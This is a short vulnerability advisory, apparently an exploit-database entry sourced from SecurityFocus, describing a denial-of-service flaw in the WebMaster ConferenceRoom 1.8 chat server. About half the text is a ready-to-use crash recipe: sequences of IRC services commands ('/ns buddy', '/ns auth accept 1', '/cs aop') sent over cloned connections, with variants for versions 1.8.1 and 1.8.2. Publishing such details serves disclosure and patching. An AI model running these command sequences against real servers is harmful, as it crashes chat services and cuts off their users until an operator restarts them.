WebMaster ConferenceRoom 1.8 Developer Edition - Denial of Service
source: https://www.securityfocus.com/bid/2178/info WebMaster ConferenceRoom Developer Edition is a chat package which enables a large community of users to chat together. ConferenceRoom has a wide range of capabilities and a user friendly channel moderation feature. It is possible to cause a denial of service in ConferenceRoom. By making duplicate connections and executing special server commands in both sessions, ConferenceRoom will crash and refuse any new connections. A restart of the service is required in order to gain normal functionality. ConferenceRoom 1.8.1: Make to connections to the irc server second being the clone of other. On second connection (clone) type "/ns buddy on". on first connection type "/ns buddy add <clone client nickname>". on clone type "/ns auth accept 1" and the services crashes. ConferenceRoom 1.8.2: "/ns buddy on" can't run, cuz professional edt. can't support "buddy" command. Register it one channel, and type it commands "/ns set authorize chanlists on", "/cs aop <#ChannelName> add <NickName>", "/ns auth accept 1". and the services crashes.